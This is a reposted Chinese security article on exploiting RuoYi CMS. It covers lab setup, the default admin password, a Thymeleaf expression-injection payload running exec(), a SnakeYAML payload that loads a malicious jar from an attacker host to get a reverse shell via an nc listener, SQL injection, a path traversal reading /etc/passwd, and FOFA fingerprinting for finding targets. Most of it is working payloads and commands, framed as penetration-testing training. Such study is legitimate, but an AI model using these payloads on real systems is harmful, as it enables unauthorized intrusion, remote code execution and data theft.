转自公众号:隐雾安全
http://mp.weixin.qq.com/s?__biz=MzkyNzM2MjM0OQ==&mid=2247483952&idx=1&sn=54cc1a889c0b8b686c5dcbc5f1ba916d
声明
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!
目录
-
RuoYI CMS 环境搭建
-
源码地址
-
操作步骤
-
RuoYI CMS 简介
-
RuoYI CMS 漏洞利用
-
RuoYI 后台默认口令
-
Thymeleaf表达式注入
-
YAML代码执行
-
SQL注入
-
任意文件上传
-
其他漏洞利用点
-
RuoYI CMS 指纹特征
-
UI
-
网页源码
RuoYI CMS 环境搭建
源码地址
https://gitee.com/y_project/RuoYi
使用IDEA
打开源码后,按如下操作配置项目
操作步骤
配置Maven(需提前下载安装)
配置数据库连接信息
配置RuoYI后台HTTP服务的端口
安装sql文件
需提前启动mysql,并创建数据库
create database ry
需安装 quartz.sql
以及 ry_20201017.sql
Reload project
启动项目
访问localhost:81即可看到RuoYI后台
RuoYI CMS 简介
RuoYI CMS 的技术栈
-
核心框架:
Spring Boot
-
安全框架:
Apache Shiro
-
模板引擎:
Thymeleaf
-
持久层框架:
MyBatis
-
定时任务:
Quartz
-
数据库连接池:
Druid
-
工具类:
Fastjson
-
其他
RuoYI
在攻防中的出现频率较高,因此研究多种利用方式,有助于在攻防或项目上时快速对RuiYI
的脆弱点进行测试
fofa语法: app=\\\"RuoYi\\\"
RuoYI CMS 漏洞利用
RuoYI 后台默认口令
admin/admin123
Thymeleaf表达式注入
Ruoyi使用了thymeleaf-spring5,其中以下四个接口方法中设置了片段选择器:
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
但不同版本中的
Payload
?fragment=hader(${T (java.lang.Runtime).getRuntime().exec(\\\"open -a Calculator.app\\\")})
攻击流程
将payload
拼接到上述的四个接口中的任意一个后,并将payload的所有字符进行URL编码,要执行的命令写在exec()
函数内
YAML代码执行
所需工具
-
yaml-payload: https://github.com/artsploit/yaml-payload.git -
jdk环境: 用于修改 payload
后重新编译java源码,并打包成jar
包 -
一台vps: 搭建 HTTP
或FTP
等服务,用于存放修改后的恶意的jar
包,让RuoYI
能找到、加载并执行其中的恶意代码
payload
org.yaml.snakeyaml.Yaml.load(\\\'!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [\\\"http://攻击机ip/yaml-payload.jar\\\"]
]]
]\\\')
攻击流程
获取yaml-payload
git clone https://github.com/artsploit/yaml-payload.git
vps监听端口
nc -lvtp 2333
修改payload中的命令
修改/src/artsploit/AwesomeScriptEngineFactory.java
将exec()
方法中的IP地址和端口替换为vps
监听的IP地址
和端口
将源码打包成jar文件
cd yaml-payload
javac src/artsploit/AwesomescriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
打包完成后,会得到一个yaml-payload.jar
文件
将其放到vps
上的HTTP
目录下
*** 获取部署HTTP服务 ***
// 一、安装Apache(推荐)或Nginx服务
将 yaml-payload.jar 放到 /var/www/html/ 目录下
// 二、使用Python部署HTTP服务
python3 -m http.server 8000 // HTTP的端口即是8000,HTTP的目录就是当前执行python命令的目录
新建定时任务
在RuoYI
后台的 系统监控
–> 定时任务
菜单下,点击新增
按照如下方式填入数据
其中要调用的目标字符串为:
org.yaml.snakeyaml.Yaml.load(\\\'!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [\\\"http://49.235.66.165/yaml-payload.jar\\\"]
]]
]\\\')
获取shell
新增完成后,点击更多操作
–> 执行一次
此时可以发现vps
上收到了反弹过来的shell
SQL注入
影响版本
RuoYI < 4.6.1
payload
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select version()),0x7e))
攻击流程
访问RuoYI
后台的系统管理
–> 角色管理
菜单,点击搜索
并抓包
将请求体
的数据替换为上述的payload
可以发现成功注入,获取到了数据库信息
任意文件上传
影响版本
RuoYI < v4.5.1
payload
/common/download/resource?resource=/profile/../../../../etc/passwd
攻击流程
访问payload
后,即可下载对应的服务端文件
其他漏洞利用点
Shiro反序列化
影响版本
RuoYI < 4.2.0
在4.2.0
版本前,若依未修复Shiro的反序列化问题
Druid 口令爆破(或未授权访问)
Druid
是RuoYI
默认的数据库连接池,若能够破解Druid或未授权访问该接口,则可以获取到数据库、SQL等敏感信息
内存马
关注隐雾安全 培训班
,购买 进阶课程
解锁
RuoYI CMS 指纹特征
UI
将RuoYI
后台的UI
界面牢牢刻在DNA中,以后遇到类似的界面,就可以合理怀疑使用是RuoYI
或对RuoYI
的二次开发平台
网页源码
网页源码中若存在ry-ui
,则可以确定是RuoYI
该方法可能还能获取RuoYI
的版本v=x.x.x
隐雾安全
隐雾,是一个旨在为网络安全从业者提供专业的网络安全技术就业指导的专业团队,后期会开展专业的培训课程。
我们是以就业为导向的网络技术培训,整个课程安排旨在让各个级别的学生能从入门到精通,并配备他们进入网络安全领域所需的必备技能。
详情请添加客户人员:
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34255.html